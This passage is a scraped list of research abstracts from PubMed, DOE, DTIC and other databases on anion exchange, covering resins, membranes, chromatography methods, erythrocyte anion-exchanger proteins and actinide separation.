permselectivity. The correlation of ion transport properties with water volume fraction and fixed charge concentration is discussed with emphasis on the importance of considering water volume fraction when interpreting ion transport data. 7. Cr(VI) removal via anion exchange on a silver-triazolate MOF. PubMed Li, Li-Li; Feng, Xiao-Quan; Han, Run-Ping; Zang, Shuang-Quan; Yang, Guang 2017-01-05 Gram-scale synthesis of a silver-triazolato framework - {[Ag8(tz)6](NO3)2·6H2O}n (1-NO3; tz(-)=3,5-diphenyl-1,2,4-triazolate) - has been achieved, enabling the systematic investigation of its anion-exchange properties. Our experimental results show that the anion-exchange pattern of 1-NO3 conforms to the so-called Hofmeister bias, which has been correlated to the hydrophobic nature of the MOF pores, and can be understood by considering the difference between the hydration energies of the exchanging anions. Furthermore, 1-NO3 displays a fast, efficient, and reversible adsorption of HCrO4(-) (via anion-exchange) from Cr(VI)-containing aqueous solution (Qmax=37.0 Cr mg/g, 303K), rendering it a promising prototype of a recyclable MOF for Cr(VI) removal. 8. Transesterification of propylene glycol methyl ether in chromatographic reactors using anion exchange resin as a catalyst. PubMed Oh, Jungmin; Sreedhar, Balamurali; Donaldson, Megan E; Frank, Timothy C; Schultz, Alfred K; Bommarius, Andreas S; Kawajiri, Yoshiaki 2016-09-30 Reactive chromatography using an anion exchange resin is proposed for a transesterification reaction of propylene glycol methyl ether (DOWANOL™ PM) with ethyl acetate to produce propylene glycol methyl ether acetate (DOWANOL™ PMA). This reaction is studied in batch and chromatographic reactors catalyzed by an anion exchange resin. Several anion exchange resins are tested and compared based on the performance of resin as an adsorbent and a catalyst. A chromatographic column is packed with a selected catalyst, AMBERLITE™ IRA904, and both reaction and chromatographic elution are studied at different temperatures and feed concentrations. The resulting chromatograms are fitted to a mathematical model to obtain adsorption equilibrium and reaction kinetic parameters by the inverse method. Compared to esterification investigated in a previous study, transesterification has advantages such as a higher conversion at lower temperature and easy removal of the byproduct which may lead to higher productivity. Deactivation of anion exchange resins is observed and potential solutions are suggested. 9. Determination of cyanuric acid in milk powder by anion-exchange chromatography. PubMed Wang, Hui; Hou, Shengjie; Ding, Mingyu; Zhang, Jinghua 2010-01-01 An anion-exchange chromatographic method has been developed for simultaneous analysis of cyanuric acid (CA) and five inorganic anions (F(-), Cl(-), NO(3)(-), HPO(4)(2-) and SO(4)(2-)) in milk powder. The separation was achieved within 15 min on an anion-exchange column with simple elution of Na(2)CO(3)/NaHCO(3) buffer as mobile phase. Furthermore, the effect of the total concentration of Na(2)CO(3)/NaHCO(3) buffer on the retention of five inorganic anions was more obvious than that on CA retention, which indicated that CA retention on anion-exchange column depends not only on anion-exchange interaction but also on hydrophobic interactions between CA and anion-exchange column. The linear range of the calibration curve for CA was 0.1-100 mg L(-1). The detection limit calculated at S/N = 3 was 0.083 mg L(-1). The method was successfully applied to the analysis of CA in milk powder. 10. CATALYTIC PROMOTION OF THE ADSORPTION OF VANADIUM ON AN ANIONIC EXCHANGE RESIN DOEpatents Bailes, R.H.; Ellis, D.A. 1958-08-26 An improvement in the process for the recovery of vanadium from acidic phosphatic solutions is presented. In this process the vanadium is first oxidized to the pentavaleat state, and is then separated by contacting such solutions with an anion exchange resin whereby adsorption of the complexed pentavalent vanadium is effected. The improvement lies in the fact that adsorp tion of the vanadium complex by the anion exchange resin is promoted and improved by providing fiuoride ions in solution to be contacted. 11. Radiation stability of anion-exchange resins based on epichlorohydrin and vinylpyridines SciTech Connect Zainutdinov, S.S.; Dzhalilov, A.T.; Askarov, M.A. 1983-02-01 The vigorous development of nuclear technology and atomic energy and the hydrometallurgy of the rare and radioactive metals has made it necessary to create and use ion-exchange materials possessing a high resistance to the action of ionizing radiations and the temperature. In view of this, the necessity has arisen for obtaining ion-exchange materials possessing adequate radiation stability. The results of an investigation of the radiation stability of anion-exchange resins based on the products of spontaneous polymerization in the interaction of epichlorohydrin with vinylpyridines show that they possess higher radiation resistance than the industrial anion-exchange resin AN-31 used at the present time. 12. New Gel-Like Polymers as Selective Weak-Base Anion Exchangers PubMed Central Gierczyk, Błażej; Cegłowski, Michał; Zalas, Maciej 2015-01-01 A group of new anion exchangers, based on polyamine podands and of excellent ion-binding capacity, were synthesized. The materials were obtained in reactions between various poly(ethyleneamines) with glycidyl derivatives of cyclotetrasiloxane. The final polymeric, strongly cross-linked materials form gel-like solids. Their structures and interactions with anions adsorbed were studied by spectroscopic methods (CP-MAS NMR, FR-IR, UV-Vis). The sorption isotherms and kinetic parameters were determined for 29 anions. Materials studied show high ion capacity and selectivity towards some important anions, e.g., selenate(VI) or perrhenate. PMID:25946220 13. Anion exchanger and the resistance against thermal haemolysis. PubMed Ivanov, I T; Zheleva, A; Zlatanov, I 2011-01-01 4,4'-Diiso-thiocyanato stilbene-2,2'-disulphonic acid (DIDS) is a membrane-impermeable, highly specific covalent inhibitor and powerful thermal stabiliser of the anion exchanger (AE1), the major integral protein of erythrocyte membrane (EM). Suspensions of control and DIDS-treated (15 µM, pH 8.2) human erythrocytes were heated from 20° to 70°C using various but constant heating rates (1-8°C/min). The cellular electrolyte leakage exhibited a sigmoidal response to temperature as detected by conductometry. The critical midpoint temperature of leakage, T(mo), extrapolated to low heating rate (0.5°C/min) was used as a measure for EM thermostability. T(mo) was greater for DIDS-treated erythrocytes, 63.2° ± 0.3°C, than for intact erythrocytes, 60.7° ± 0.2°C. The time, t(1/2), for 50% haemolysis of erythrocytes, exposed to 53°C was used as a measure for the resistance of erythrocytes against thermal haemolysis. The t(1/2) was also greater for DIDS-treated erythrocytes, 63 ± 3 min, than for intact erythrocytes, 38 ± 2 min. The fluorescent label N-(3-pyrenyl)maleimide and EPR spin label 3-maleimido-proxyl, covalently bound to sulphydryl groups of major EM proteins, were used to monitor the changes in molecular motions during transient heating. Both labels reported an intensification of the motional dynamics at the denaturation temperatures of spectrin (50°C) and AE1 (67°C), and, surprisingly, immobilisation of a major EM protein, presumably the AE1, at T(mo). The above results are interpreted in favour of the possible involvement of a predenaturational rearrangement of AE1 copies in the EM thermostability and the resistance against thermal haemolysis. 14. Anion-Exchange Properties of Trifluoroacetate and Triflate Salts of N-Alkylammonium Resorcinarenes. PubMed Pan, Fangfang; Beyeh, Ngong Kodiah; Bertella, Stefania; Rissanen, Kari 2016-03-04 The synthesis of N-benzyl- and N-cyclohexylammonium resorcinarene trifluoroacetate (TFA) and triflate (OTf) salt receptors was investigated. Solid-state analysis by single-crystal X-ray diffraction revealed that the N-alkylammonium resorcinarene salts (NARSs) with different upper substituents had different cavity sizes and different affinities for anions. Anion-exchange experiments by mixing equimolar amounts of N-benzylammonium resorcinarene trifluoroacetate and N-cyclohexylammonium resorcinarene triflate, as well as N-benzylammonium resorcinarene triflate and N-cyclohexylammonium resorcinarene trifluoroacetate showed that the NARS with flexible benzyl groups preferred the larger OTf anion, whereas the rigid cyclohexyl groups preferred the smaller TFA anions. The anion-exchange processes were confirmed in the solid state by single-crystal and powder X-ray diffraction experiments and in the gas phase by electrospray ionization mass spectrometry. 15. Anion exchange resins: Structure, formulation, and applications. (Latest citations from the Rubber and Plastics Research Association database). Published Search SciTech Connect Not Available 1994-07-01 The bibliography contains citations concerning the formulation and synthesis of anion exchange resins based on such resins as amides, polyethylenes, and styrenes. Osmotic, sorption, and electrical properties; exchange kinetics behavior; structure studies; and temperature related performance effects on anion exchange resins are considered. Anion exchange chromatography of liquids, and applications in water purification, pollution control, and protein and metallic ion separation are included. (Contains a minimum of 222 citations and includes a subject term index and title list.) 16. Mechanism of Polysulfone-Based Anion Exchange Membranes Degradation in Vanadium Flow Battery. PubMed Yuan, Zhizhang; Li, Xianfeng; Zhao, Yuyue; Zhang, Huamin 2015-09-02 The stability of hydrocarbon ion exchange membranes is one of the critical issues for a flow battery. However, the degradation mechanism of ion exchange membranes has been rarely investigated especially for anion exchange membranes. Here, the degradation mechanism of polysulfone based anion exchange membranes, carrying pyridine ion exchange groups, under vanadium flow battery (VFB) medium was investigated in detail. We find that sp(2) hybrid orbital interactions between pyridinic-nitrogen in 4,4'-bipyridine and benzylic carbon disrupt the charge state balance of pristine chloromethylated polysulfone. This difference in electronegativity inversely induces an electrophilic carbon center in the benzene ring, which can be attacked by the lone pair electron on the vanadium(V) oxygen species, further leading to the degradation of polymer backbone, while leaving the 4,4'-bipyridine ion exchange groups stable. This work represents a step toward design and construction of alternative type of chemically stable hydrocarbon ion exchange membranes for VFB. 17. Anion selective membrane. [ion exchange resins and ion exchange membrane electrolytes for electrolytic cells NASA Technical Reports Server (NTRS) Alexander, S. S.; Geoffroy, R. R.; Hodgdon, R. B. 1975-01-01 Experimental anion permselective membranes were prepared and tested for their suitability as cell separators in a chemical redox power storage system being developed at NASA-Lewis Research Center. The goals of long-term (1000 hr) oxidative and thermal stability at 80 C in FeCl3 and CrCl3 electrolytes were met by most of the weak base and strong base amino exchange groups considered in the program. Good stability is exhibited by several of the membrane substrate resins. These are 'styrene' divinylbenzene copolymer and PVC film. At least four membrane systems produce strong flexible films with electrochemical properties (resistivity, cation transfer) superior to those of the 103QZL, the most promising commercial membrane. The physical and chemical properties of the resins are listed. 18. ZEOLITE PERFORMANCE AS AN ANION EXCHANGER FOR ARSENIC SEQUESTRATION IN WATER EPA Science Inventory Zeolites are well known for their use in ion exchange and acid catalysis reactions. The use of zeolites in anion or ligand exchange reactions is less studied. The NH4+ form of zeolite Y (NY6, Faujasite) has been tested in this work to evaluate its performance for arsenic removal... 19. OXIDATIVE STRESS ACTIVATES ANION EXCHANGE PROTEIN 2 AND AP-1 IN AIRWAY EPITHELIAL CELLS EPA Science Inventory Anion exchange protein 2 (AE2) is a membrane-bound protein that mediates chloride-bicarbonate exchange. In addition to regulating intracellular pH and cell volume, AE2 exports superoxide (O.) to the extracellular matrix in an HCO-dependent process. Given this ability to export O.... 20. Removal of dissolved organic matter by anion exchange: Effect of dissolved organic matter properties USGS Publications Warehouse Boyer, T.H.; Singer, P.C.; Aiken, G.R. 2008-01-01 Ten isolates of aquatic dissolved organic matter (DOM) were evaluated to determine the effect that chemical properties of the DOM, such as charge density, aromaticity, and molecular weight, have on DOM removal by anion exchange. The DOM isolates were characterized asterrestrial, microbial, or intermediate humic substances or transphilic acids. All anion exchange experiments were conducted using a magnetic ion exchange (MIEX) resin. The charge density of the DOM isolates, determined by direct potentiometric titration, was fundamental to quantifying the stoichiometry of the anion exchange mechanism. The results clearly show that all DOM isolates were removed by anion exchange; however, differences among the DOM isolates did influence their removal by MIEX resin. In particular, MIEX resin had the greatest affinity for DOM with high charge density and the least affinity for DOM with low charge density and low aromaticity. This work illustrates that the chemical characteristics of DOM and solution conditions must be considered when evaluating anion exchange treatment for the removal of DOM. ?? 2008 American Chemical Society. 1. Separation of thorium and uranium in nitric acid solution using silica based anion exchange resin. PubMed Chen, Yanliang; Wei, Yuezhou; He, Linfeng; Tang, Fangdong 2016-09-30 To separate thorium and uranium in nitric acid solution using anion exchange process, a strong base silica-based anion exchange resin (SiPyR-N4) was synthesized. Batch experiments were conducted and the separation factor of thorium and uranium in 9M nitric acid was about 10. Ion exchange chromatography was applied to separate thorium and uranium in different ratios. Uranium could be eluted by 9M nitric acid and thorium was eluted by 0.1M nitric acid. It was proved that thorium and uranium can be separated and recovered successfully by this method. 2. Quaternized poly (styrene-co-vinylbenzyl chloride) anion exchange membranes for alkaline water electrolysers Vengatesan, S.; Santhi, S.; Jeevanantham, S.; Sozhan, G. 2015-06-01 In this study, poly (ST-co-VBC) based anion exchange membranes with different styrene to VBC ratios (1: 0.16, 1: 0.33 and 1: 1) have been prepared via chloromethylation-free synthetic route using aromatic vinyl monomers. The synthesized co-polymers are identified by FTIR and 1H-NMR analysis. Hydroxide (OH-) ion conductivity of the anion exchange membrane with styrene to VBC ratio of 1: 0.33 is as high as 6.8 × 10-3 S cm-1 in de-ionised water at 25 °C. The membrane also acquires the ion-exchange capacity of 2.14 meq. g-1, and the water uptake of 127%. Membrane-electrode-assembly (MEA) using the anion exchange membrane and Ni - foam catalyst demonstrate the current density of 40 mA cm-2 at 2.3 V in a water electrolyser cell. 3. Improved recovery and purification of plutonium at Los Alamos using macroporous anion exchange resin SciTech Connect Marsh, S.F.; Mann, M.J. 1987-05-01 For almost 30 years, Los Alamos National Laboratory has used anion exchange in nitric acid as the major aqueous process or the recovery and purification of plutonium. One of the few disadvantages of this system is the particularly slow rate at which the anionic nitrato complex of Pu(IV) equilibrates with the resin. The Nuclear Materials Process Technology Group at Los Alamos recently completed an ion exchange development program that focused on improving the slow sorption kinetics that limits this process. A comprehensive investigation of modern anion exchange resins identified porosity and bead size as the properties that most influence plutonium sorption kinetics. Our study found that small beads of macroporous resin produced a dramatic increase in plutonium process efficiency. The Rocky Flats Plant has already adopted this improved ion exchange technology, and it currently is being evaluated for use in other DOE plutonium-processing facilities. 4. Rapid exchange between atmospheric CO2 and carbonate anion intercalated within magnesium rich layered double hydroxide. PubMed Sahoo, Pathik; Ishihara, Shinsuke; Yamada, Kazuhiko; Deguchi, Kenzo; Ohki, Shinobu; Tansho, Masataka; Shimizu, Tadashi; Eisaku, Nii; Sasai, Ryo; Labuta, Jan; Ishikawa, Daisuke; Hill, Jonathan P; Ariga, Katsuhiko; Bastakoti, Bishnu Prasad; Yamauchi, Yusuke; Iyi, Nobuo 2014-10-22 The carbon cycle, by which carbon atoms circulate between atmosphere, oceans, lithosphere, and the biosphere of Earth, is a current hot research topic. The carbon cycle occurring in the lithosphere (e.g., sedimentary carbonates) is based on weathering and metamorphic events so that its processes are considered to occur on the geological time scale (i.e., over millions of years). In contrast, we have recently reported that carbonate anions intercalated within a hydrotalcite (Mg0.75Al0.25(OH)2(CO3)0.125·yH2O), a class of a layered double hydroxide (LDH), are dynamically exchanging on time scale of hours with atmospheric CO2 under ambient conditions. (Ishihara et al., J. Am. Chem. Soc. 2013, 135, 18040-18043). The use of (13)C-labeling enabled monitoring by infrared spectroscopy of the dynamic exchange between the initially intercalated (13)C-labeled carbonate anions and carbonate anions derived from atmospheric CO2. In this article, we report the significant influence of Mg/Al ratio of LDH on the carbonate anion exchange dynamics. Of three LDHs of various Mg/Al ratios of 2, 3, or 4, magnesium-rich LDH (i.e., Mg/Al ratio = 4) underwent extremely rapid exchange of carbonate anions, and most of the initially intercalated carbonate anions were replaced with carbonate anions derived from atmospheric CO2 within 30 min. Detailed investigations by using infrared spectroscopy, scanning electron microscopy, powder X-ray diffraction, elemental analysis, adsorption, thermogravimetric analysis, and solid-state NMR revealed that magnesium rich LDH has chemical and structural features that promote the exchange of carbonate anions. Our results indicate that the unique interactions between LDH and CO2 can be optimized simply by varying the chemical composition of LDH, implying that LDH is a promising material for CO2 storage and/or separation. 5. A new anionic exchange stir bar sorptive extraction coating based on monolithic material for the extraction of inorganic anion. PubMed Huang, Xiaojia; Lin, Jianbing; Yuan, Dongxing 2010-07-23 A novel anionic exchange stir bar sorptive extraction (SBSE) coating based on poly(2-(methacryloyloxy)ethyltrimethylammonium chloride-co-divinylbenzene) monolithic material for the extraction of inorganic anion was prepared. The effect of preparation conditions such as ratio of functional monomer to cross-linker, content of porogenic solvent on the extraction efficiencies were investigated in detailed. The monolithic material was characterized by elemental analysis, scanning electron microscopy and infrared spectroscopy. In order to investigate the extraction capacity of the new coating for inorganic anion, the new SBSE was combined with ionic chromatography with conductivity detection, Br-, NO3-, PO4(3-) and SO4(2-) were selected as detected solutes. Several extractive parameters, including pH value and ionic strength in sample matrix, desorption solvent, extraction and desorption time were optimized. The results showed that strongly ionic strength did not favor the extraction of anlaytes. Under the optimum experimental conditions, low detection limits (S/N=3) and quantification limits (S/N=10) of the proposed method for the target anions were achieved within the range of 0.92-2.62 and 3.03-9.25 microg/L, respectively. The method also showed good linearity, simplicity, practicality and low cost for the extraction inorganic anions. Finally, the proposed method was successfully used to detect the two different trademarks of commercial purified water with satisfactory recovery in the range of 70.0-92.6%. To the best of our knowledge, this is the first to use SBSE to enrich inorganic anions. 6. [Application of high performance anion exchange chromatography for trace analysis of polarizable anions]. PubMed Mo, Shumin; Liang, Lina; Cai, Yaqi; Mou, Shifen; Wen, Meijuan 2005-11-01 Polarizable anions such as Br-, S2O3(2-), I- and SCN- were separated using 45 mmol/L sodium hydroxide solution as the mobile phase on a high hydrophilic IonPac AS16 column. With a pulsed amperometric detector, the detection limits were 0.5, 0.2, 0.05 and 2 microg/L (25.0 microL injected, signal-to-noise ratio of 3) for Br-, S2O3(2-), I- and SCN. The relative standard deviation (RSD) range of trace anions was from 0.8% to 3.7% (n = 9). Under the same chromatographic conditions, these anions were also determined using a suppressed conductivity detector and the detection limits were 1, 1, 2 and 10 microg/L (25 microL injected, signal-to-noise ratio of 3), respectively. The RSD range was from 0.9% to 4.7% (n = 9). Comparing a pulsed amperometric detector with a conductivity detector, the former is 2 to 40 times more sensitive than the latter. For the determination of polarizable anions, a pulsed amperometric detector has higher selectivity, precision and sensitivity. 7. Prestin is an anion transporter dispensable for mechanical feedback amplification in Drosophila hearing. PubMed Kavlie, Ryan G; Fritz, Janice L; Nies, Florian; Göpfert, Martin C; Oliver, Dominik; Albert, Joerg T; Eberl, Daniel F 2015-01-01 In mammals, the membrane-based protein Prestin confers unique electromotile properties to cochlear outer hair cells, which contribute to the cochlear amplifier. Like mammals, the ears of insects, such as those of Drosophila melanogaster, mechanically amplify sound stimuli and have also been reported to express Prestin homologs. To determine whether the D. melanogaster Prestin homolog (dpres) is required for auditory amplification, we generated and analyzed dpres mutant flies. We found that dpres is robustly expressed in the fly's antennal ear. However, dpres mutant flies show normal auditory nerve responses, and intact non-linear amplification. Thus we conclude that, in D. melanogaster, auditory amplification is independent of Prestin. This finding resonates with prior phylogenetic analyses, which suggest that the derived motor function of mammalian Prestin replaced, or amended, an ancestral transport function. Indeed, we show that dpres encodes a functional anion transporter. Interestingly, the acquired new motor function in the phylogenetic lineage leading to birds and mammals coincides with loss of the mechanotransducer channel NompC (=TRPN1), which has been shown to be required for auditory amplification in flies. The advent of Prestin (or loss of NompC, respectively) may thus mark an evolutionary transition from a transducer-based to a Prestin-based mechanism of auditory amplification. 8. Simultaneous separation and detection of anions and thiophilic cations using capillary-size anion exchange chromatography with suppressed conductivity detection. PubMed Sötz, Veronika Anna; Kochmann, Sven 2015-05-01 In this fundamental study, the simultaneous separation and detection of anions and thiophilic cations in anion exchange chromatography with suppressed conductivity detection is investigated. Mercury(II) and cadmium(II) served as model analytes. Separation and detection was performed by introducing 2-mercaptoethanesulfonate, which forms complexes with both mercury and cadmium with a strong metal-sulfur bond, into the KOH eluent. Additional to the separation on the column, these complexes were able to pass the suppressor. Subsequently, they could be detected as negative peaks. A simple model for the separation mechanism was developed based on these results. Furthermore, the effect of the eluent concentration on the retention factors of both cation complexes and standard anions was examined and quantified. It revealed that the concentration of 2-mercaptoethanesulfonate has more influence on the cations than the KOH concentration. Also, 2.0 mM of 2-mercaptoethanesulfonate had about the same effect on the anion separation as 60 mM KOH. Finally, selectivity and detection limits were investigated. The detection limits were 4.9 μM for mercury and 2.2 μM for cadmium. 9. Nitrosamine, dimethylnitramine, and chloropicrin formation during strong base anion-exchange treatment. PubMed Kemper, Jerome M; Westerhoff, Paul; Dotson, Aaron; Mitch, William A 2009-01-15 Strong base anion-exchange resins represent an important option for water utilities and homeowners to address growing concerns with nitrate, arsenate, and perchlorate contamination of source waters. Most commercially available anion-exchange resins employ quaternary amine functional groups. Previous research has provided contradictory evidence regarding whether these resins serve as sources of nitrosamines, considered as highly carcinogenic nitrogenous disinfection byproducts (N-DBPs), even without disinfectants. For three common varieties of commercial anion-exchange resins, we evaluated the importance of releases of nitrosamines, and two other N-DBPs (dimethylnitramine and chloropicrin), when the resins were subjected to typical column flow conditions with and without free chlorine or chloramine application upstream or downstream of the columns. In the absence of disinfectants, fresh trimethylamine- and tributylamine-based type 1 and dimethylethanolamine-based type 2 anion-exchange resins usually released 2-10 ng/L nitrosamines, likely due to shedding of manufacturing impurities, with excursions of up to 20 ng/L following regeneration. However, the lack of significant nitrosamine release in a full-scale anion-exchange treatment system after multiple regeneration cycles indicates that releases may eventually subside. Resins also shed organic precursors that might contribute to nitrosamine formation within distribution systems when chloramines are applied downstream. With free chlorine or chloramine application upstream, nitrosamine concentrations were more significant, at 20-100 ng/L for the type 1 resins and approximately 400 ng/L for the type 2 resin. However, chloropicrin formation was lowest for the type 2 resin. Dimethylnitramine formation was significant with free chlorine application upstream but negligible with chloramines. Although no N-DBPs were detected in cation-exchange-based consumer point-of-use devices exposed to chlorinated or chloraminated waters 10. Predicting Carbonate Ion Transport in Alkaline Anion Exchange Materials DTIC Science & Technology 2012-01-01 Schematic of the permeation cell experiment used to measure transient CO2 flux across the polymer electrolyte membrane. Experimental result vs. model trend...Microstructure on Charge Transfer, Mass Transfer, and Electrochemical Reactions in Solid Oxide Fuel Cells ; Part 2. Ion and Water Transport in Alkaline Anion...through the use of the Fuel Cell Technologies Test Station such as the relative humidity and flow rate of the feed gases, the cell temperature, and the 11. Regeneration of strong-base anion-exchange resins by sequential chemical displacement DOEpatents Brown, Gilbert M.; Gu, Baohua; Moyer, Bruce A.; Bonnesen, Peter V. 2002-01-01 A method for regenerating strong-base anion exchange resins utilizing a sequential chemical displacement technique with new regenerant formulation. The new first regenerant solution is composed of a mixture of ferric chloride, a water-miscible organic solvent, hydrochloric acid, and water in which tetrachloroferrate anion is formed and used to displace the target anions on the resin. The second regenerant is composed of a dilute hydrochloric acid and is used to decompose tetrachloroferrate and elute ferric ions, thereby regenerating the resin. Alternative chemical displacement methods include: (1) displacement of target anions with fluoroborate followed by nitrate or salicylate and (2) displacement of target anions with salicylate followed by dilute hydrochloric acid. The methodology offers an improved regeneration efficiency, recovery, and waste minimization over the conventional displacement technique using sodium chloride (or a brine) or alkali metal hydroxide. 12. Removal of fluoride from water using anion-exchange membrane under Donnan dialysis condition. PubMed Tor, Ali 2007-03-22 The transport of fluoride through Neosepta-ACM anion-exchange membrane has been studied as a function of feed phase and receiver phase concentration and co-existence anions under Donnan dialysis condition. It was observed that the transport of fluoride was maximum at pH 6 of feed phase and at pH 1 of receiver phase. Moreover, transport of fluoride increased with increase of feed and receiver phase concentration and decreased in the presence of other co-existence anions in the feed phase. The transport of fluoride was also correlated with the flux data and explained according to structure of membrane. 13. Crystal structure of the anion exchanger domain of human erythrocyte band 3. PubMed Arakawa, Takatoshi; Kobayashi-Yurugi, Takami; Alguel, Yilmaz; Iwanari, Hiroko; Hatae, Hinako; Iwata, Momi; Abe, Yoshito; Hino, Tomoya; Ikeda-Suno, Chiyo; Kuma, Hiroyuki; Kang, Dongchon; Murata, Takeshi; Hamakubo, Takao; Cameron, Alexander D; Kobayashi, Takuya; Hamasaki, Naotaka; Iwata, So 2015-11-06 Anion exchanger 1 (AE1), also known as band 3 or SLC4A1, plays a key role in the removal of carbon dioxide from tissues by facilitating the exchange of chloride and bicarbonate across the plasma membrane of erythrocytes. An isoform of AE1 is also present in the kidney. Specific mutations in human AE1 cause several types of hereditary hemolytic anemias and/or distal renal tubular acidosis. Here we report the crystal structure of the band 3 anion exchanger domain (AE1(CTD)) at 3.5 angstroms. The structure is locked in an outward-facing open conformation by an inhibitor. Comparing this structure with a substrate-bound structure of the uracil transporter UraA in an inward-facing conformation allowed us to identify the anion-binding position in the AE1(CTD), and to propose a possible transport mechanism that could explain why selected mutations lead to disease. 14. Uncoupling of a CLC Cl-/H+ exchange transporter by polyatomic anions. PubMed Nguitragool, Wang; Miller, Christopher 2006-09-29 CLC-ec1 is a bacterial archetype of CLC transporters, a ubiquitous class of proteins that catalyze transmembrane exchange of Cl- and H+ necessary for pH regulation of numerous physiological processes. Despite a profusion of high-resolution structures, the molecular mechanism of exchange remains unknown. Here, we rigorously demonstrate strict exchange stoichiometry of 2 Cl-/1 H+. In addition to Cl- and Br-, two non-halide ions, NO3- and SCN-, are shown to be transported by CLC-ec1, but with reduced H+ counter-transport. The loss of proton coupling to these anions is accompanied by an absence of bound anions in the central and external Cl- binding sites in the protein's anion selectivity region, as revealed by crystallographic comparison of Br- and SeCN- bound to this region. 15. Uncoupling of a CLC Cl-/H+ exchange transporter by polyatomic anions SciTech Connect Nguitragool,W.; Miller, C. 2006-01-01 CLC-ec1 is a bacterial archetype of CLC transporters, a ubiquitous class of proteins that catalyze transmembrane exchange of Cl{sup -} and H{sup +} necessary for pH regulation of numerous physiological processes. Despite a profusion of high-resolution structures, the molecular mechanism of exchange remains unknown. Here, we rigorously demonstrate strict exchange stoichiometry of 2 Cl{sup -}/1 H{sup +}. In addition to Cl{sup -} and Br{sup -}, two non-halide ions, NO{sub 3}{sup -} and SCN{sup -}, are shown to be transported by CLC-ec1, but with reduced H{sup +} counter-transport. The loss of proton coupling to these anions is accompanied by an absence of bound anions in the central and external Cl{sup -} binding sites in the protein's anion selectivity region, as revealed by crystallographic comparison of Br{sup -} and SeCN{sup -} bound to this region. 16. Extraction of Carbon Dioxide From Seawater by Ion Exchange Resin. Part 2. Using Strong Base Anion Exchange Resin DTIC Science & Technology 2009-09-29 Naval Research Laboratory Washington, DC 20375-5320 NRL/MR/6180--09-9211 Extraction of Carbon Dioxide from Sea water by Ion Exchange Resin Part...STRONG BASE ANION EXCHANGE RESIN 1.0 BACKGROUND The Ocean Thermal Energy Conversion (OTEC) process converts solar thermal energy absorbed by the ocean...into electrical power [1,2]. During the OTEC process dissolved carbon dioxide (CO2) in ocean water is liberated as a gas. Since CO2 is implicated in 17. Anion exchange resins as a source of nitrosamines and nitrosamine precursors. PubMed Flowers, Riley C; Singer, Philip C 2013-07-02 Anion exchange resins are important tools for the removal of harmful anionic contaminants from drinking water, but their use has been linked to the presence of carcinogenic nitrosamines in treated drinking water. In bench-scale batch and column experiments, anion exchange resins from a large, representative group were investigated as sources of the nitrosamines N-nitrosodimethylamine (NDMA), N-nitrosodiethylamine (NDEA), N-nitrosodi-n-propylamine (NDPA), and N-nitrosodi-n-butylamine (NDBA) and their precursors. Several resins were found to release high levels (up to >2000 ng/L, orders of magnitude above drinking water regulatory levels) of nitrosamines upon initial rinsing with lab-grade water, with levels subsiding within 50-100 bed volumes of rinsing. Resins released similarly high levels of nitrosamine precursors, with spikes in precursor release triggered by regeneration of resins with sodium chloride or by interruptions in flow resulting in prolonged contact times. Free chlorine or preformed monochloramine in feedwater led to the production of nitrosamines. Resins released different nitrosamines and precursors depending on their functional groups, with some resins releasing as many as three different nitrosamines and their precursors. These findings have significant implications for the pretreatment and appropriate use of anion exchange resins by drinking water utilities and for the production of anion exchange resins by manufacturers. 18. The human erythrocyte anion-transport protein. Partial amino acid sequence, conformation and a possible molecular mechanism for anion exchange. PubMed Central Brock, C J; Tanner, M J; Kempf, C 1983-01-01 The N-terminal 72 residues of an integral membrane fragment, P5, of the human erythrocyte anion-transport protein, which is known to be directly involved in the anion-exchange process, was shown to have the following amino acid sequence: Met-Val-Pro-Lys-Pro-Gln-Gly-Pro-Leu-Pro-Asn-Thr-Ala-Leu-Leu-Ser-Leu-Val-Leu-Met -Ala-Gly-Thr-Phe-Phe-Phe-Ala-Met-Met-Leu-Arg-Lys-Phe-Lys-Asn-Ser-Ser-Tyr-Phe-Pro-Gly-Lys-Leu-Arg-Arg-Val-Ile-Gly-Asp-Phe-Gly-Val-Pro-Ile-Ser-Ile-Leu-Ile-Met-Val-Leu-Val-Asp-Phe-Phe-Ile-Gln-Asp-Thr-Tyr-Thr-Gln- The structure of this fragment was analysed, with account being taken of the constraints that apply to the folding of integral membrane proteins and the topographical locations of various sites in the sequence. It was concluded that this sequence forms two transmembrane alpha-helices. These are probably part of a cluster of amphipathic transmembrane alpha-helices, which could comprise that part of the protein responsible for transport activity. The presently available evidence relating to the anion-exchange process was considered with the structural features noted in this study and a possible molecular mechanism is proposed. In this model the rearrangement of a network of intramembranous charged pairs mediates the translocation of an anion between anion-binding regions at each surface of the membrane, which are composed of clusters of positively charged amino acids. This model imposes a sequential exchange mechanism on the system. Supplementary material, including Tables and Figures describing the compositions of peptides determined by amino acid analysis and sequence studies, quantitative and qualitative data that provide a residue-by-residue justification for the sequence assignment and a description of modifications to and use of the solid-phase sequencer has been deposited as Supplementary Publication SUP 50123 (12 pages) with the British Library Lending Division, Boston Spa, Wetherby, West Yorkshire LS23 7BQ, U.K., from whom copies can be 19. Measurement of the distribution of anion exchange function in normal human red cells. PubMed Central Raftos, J E; Bookchin, R M; Lew, V L 1997-01-01 1. The aim of the present work was to investigate cell-to-cell variation in anion exchange turnover in normal human red cells. Red cells permeabilized to protons and K+ dehydrate extremely rapidly by processes that are rate-limited by the induced K+ permeability or by anion exchange turnover. Conditions were designed to render dehydration rate-limited by anion exchange turnover. Cell-to-cell variation in anion exchange function could then be measured from the distribution of delay times required for dehydrating cells to attain resistance to haemolysis in a selected hypotonic medium. 2. Red cells were suspended at 10% haematocrit in a low-K+ solution and, after a brief preincubation with 20 microM SITS at 4 degrees C, were warmed to 24 degrees C, and the protonophore CCCP was added (20 microM) followed 2 min later by valinomycin (60 microM). Delay times for cells to become resistant to lysis were measured from the instant of valinomycin addition by sampling suspension aliquots into thirty volumes of 35 mM NaCl. After centrifugation the per cent lysis was estimated by measuring the haemoglobin concentration in the supernatant. Typical median delay times with this standardized method were 4-5 min. 3. The statistical parameters of the delay time distributions report the population spread in the transport function that was limiting to dehydration. In the absence of SITS and CCCP, dehydration was limited by the diffusional Cl- permeability (PCl). Delay time distributions for PCl- and anion exchange-limited dehydration were measured in red cells from three normal donors. For both distributions, the coefficients of variation ranged between 13.0 and 15.2%, indicating a high degree of uniformity in PCl and anion exchange function among individual red cells. PMID:9061637 20. Relationships of anion-exchange sorption of boron from natural thermal-spring water SciTech Connect Meichik, N.R.; Leikin, Yu.A.; Antipov, M.A.; Goryacheva, N.V.; Klimenko, I.S.; Medvedev, S.A.; Galitskaya, N.B. 1988-02-20 Boric acid is one of the 